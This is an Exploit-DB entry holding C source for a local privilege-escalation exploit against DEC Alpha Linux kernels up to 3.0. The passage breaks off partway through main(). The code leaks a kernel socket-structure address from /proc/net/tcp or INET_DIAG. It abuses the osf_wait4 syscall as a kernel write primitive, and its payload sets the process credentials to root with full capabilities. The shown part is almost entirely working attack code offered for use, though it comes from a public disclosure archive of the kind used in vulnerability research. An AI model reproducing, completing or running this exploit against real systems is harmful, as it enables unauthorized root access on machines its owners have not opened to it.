Exploit-DB #17391
Description: Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2011-06-11
Author: Dan Rosenberg

Exploit:
/*
 * DEC Alpha Linux <= 3.0 local root exploit
 * by Dan Rosenberg (@djrbliss)
 *
 * Usage:
 * $ gcc alpha-omega.c -o alpha-omega
 * $ ./alpha-omega
 *
 * Notes:
 * -Payload specific to <= 2.6.28 (no cred struct, modify as needed)
 * -Socket trigger tested on 2.6.28 (adjust offset as needed)
 * -INET_DIAG parsing code borrowed from netstat
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>

#define SYS_osf_wait4 7
#define SOCK_OFFSET 552			/* Offset of sk_destruct fptr in sock
					 * struct, change for your kernel */
#define PAGE_SIZE 8192			/* DEC alpha page size is 8K */
#define KERNEL_BASE 0xfffffc[PII_REDACTED]	/* DEC alpha PAGE_OFFSET */ 
#define TASK_STRUCT_OFFSET 64		/* task_struct offset in thread_info */
#define PAYLOAD 0x20000
#define PORT 31337

static int uid, gid;

/* Writes (0xff & value) << 8 to addr */
void kernel_write(unsigned long addr, int value)
{
	int pid = fork();

	if (pid) {
		/* wait4 backdoor number two? ;) */
		syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1);
		return;
	} else {
		exit(value);
	}
}

/* Get the INET_DIAG cookie for our socket, which contains the low 32 bits
 * of the sock struct address */
unsigned int get_cookie(unsigned int port)
{
	int fd;
	struct sockaddr_nl nladdr;
	struct {
		struct nlmsghdr nlh;
		struct inet_diag_req r;
	} req;
	struct msghdr msg;
	char buf[8192];
	struct iovec iov;
	struct inet_diag_msg *r;

	if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0)
		return -1;
	
	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;
	
	req.nlh.nlmsg_len = sizeof(req);
	req.nlh.nlmsg_type = TCPDIAG_GETSOCK;
	req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
	req.nlh.nlmsg_pid = 0;
	req.nlh.nlmsg_seq = 123456;
	memset(&req.r, 0, sizeof(req.r));
	req.r.idiag_family = AF_INET;
	req.r.idiag_states = 0xfff;
	req.r.idiag_ext = 0;

	iov.iov_base = &req;
	iov.iov_len = sizeof(req);
	
	msg = (struct msghdr) {
		.msg_name = (void*)&nladdr,
		.msg_namelen = sizeof(nladdr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	
	if (sendmsg(fd, &msg, 0) < 0) {
		close(fd);
		return -1;	
	}
	
	iov.iov_base = buf;
	iov.iov_len = sizeof(buf);
	
	while (1) {
		int status;
		struct nlmsghdr *h;
			
		msg = (struct msghdr) {
			(void*)&nladdr, sizeof(nladdr),
			&iov, 1, NULL, 0, 0
		};
			
		status = recvmsg(fd, &msg, 0);
			
		if (status < 0) {
			if (errno == EINTR)
				continue;
			close(fd);
			return -1;
		}
			
		if (status == 0) {
			close(fd);
			return -1;
		}
		
		h = (struct nlmsghdr*)buf;
		while (NLMSG_OK(h, status)) {
			if (h->nlmsg_seq == 123456) {
				if (h->nlmsg_type == NLMSG_DONE) {
					close(fd);
					return -1;
				}
				
				if (h->nlmsg_type == NLMSG_ERROR) {
					close(fd);
					return -1;
				}
				
				r = NLMSG_DATA(h);
				if (r->idiag_family == AF_INET &&
				    ntohs(r->id.idiag_sport) == port)
					return r->id.idiag_cookie[0];
				
			}
			h = NLMSG_NEXT(h, status);
		}
	}
	close(fd);
	return -1;
}

/* Get the address of the sock struct for our socket */
unsigned long get_sock_addr(unsigned int port)
{
	FILE *f;
	char buf[1024], path[512];
	unsigned int testport, cookie, a;
	unsigned long addr, b;

	f = fopen("/proc/net/tcp", "r");

	if (f < 0) {
		printf("[*] Failed to open /proc/net/tcp\n");
		return 0;
	}

	while (fgets(buf, 1024, f)) {
		sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X "
			    "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u "
			    "%d\n",
			    &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b,
			    &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a,
			    &a);
		if (testport == port) {
			/* If kptr_restrict is on... */
			if (!addr) {
				cookie = get_cookie(port);
				addr = (unsigned long)cookie + KERNEL_BASE;
			}
			fclose(f);
			return addr;
		}
	}
	fclose(f);
	return 0;
}

void getroot()
{
	int i;
	/* Alpha has 16K stacks */
	unsigned long thread_info = (unsigned long)&i & ~0x3fff;
	unsigned long task_struct = *(unsigned long *)(thread_info +
							TASK_STRUCT_OFFSET);
	int *j = (int *)task_struct;

	for (i = 0; i < 1000; i++, j++) {

		if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
		    j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {

			/* uid, euid, suid, fsuid */
			j[0] = j[1] = j[2] = j[3] = 0;

			/* gid, egid, sgid, fsgid */
			j[4] = j[5] = j[6] = j[7] = 0;

			/* caps */
			j[10] = j[11] = 0xffffffff;
			j[12] = j[13] = 0xffffffff;
			j[14] = j[15] = 0xffffffff;

			break;
		}
	}
}

void trampoline()
{

	asm volatile(	"mov %0, $0\n"
			"ldq $27, 0($0)\n"
			"jsr $26, ($27)\n"
			: : "r"(PAYLOAD));

}

int main(int argc, char * argv[])
{
	unsigned long target, *payload;
	void *landing;
	int sock;
	struct sockaddr_in addr;
	size_t len;

	uid = getuid();
	gid = getgid();

	printf("[*] Opening TCP socket...\n");
	sock = socket(AF_INET, SOCK_STREAM, 0);

	if (sock < 0) {
		printf("[*] Failed to open TCP socket.\n");
		return -1;
	}

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(PORT);
	addr.sin_addr.s_addr = INADDR_ANY;

	if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
		printf("[*] Failed to bind TCP socket.\n");
		return -1;
	}

	/* Our socket won't appear in /proc/net/tcp unless it's listening */
	if (listen(sock, 1)) {
		printf("[*] Failed to listen on TCP socket.\n");
		return -1;
	}

	printf("[*] Getting socket address from INET_DIAG...\n");
	target = get_sock_addr(PORT);

	if (!target) {
		printf("[*] Failed to get socket address.\n");
		return -1;
	}

	printf("[*] Socket address: %lx\n", target);

	target +=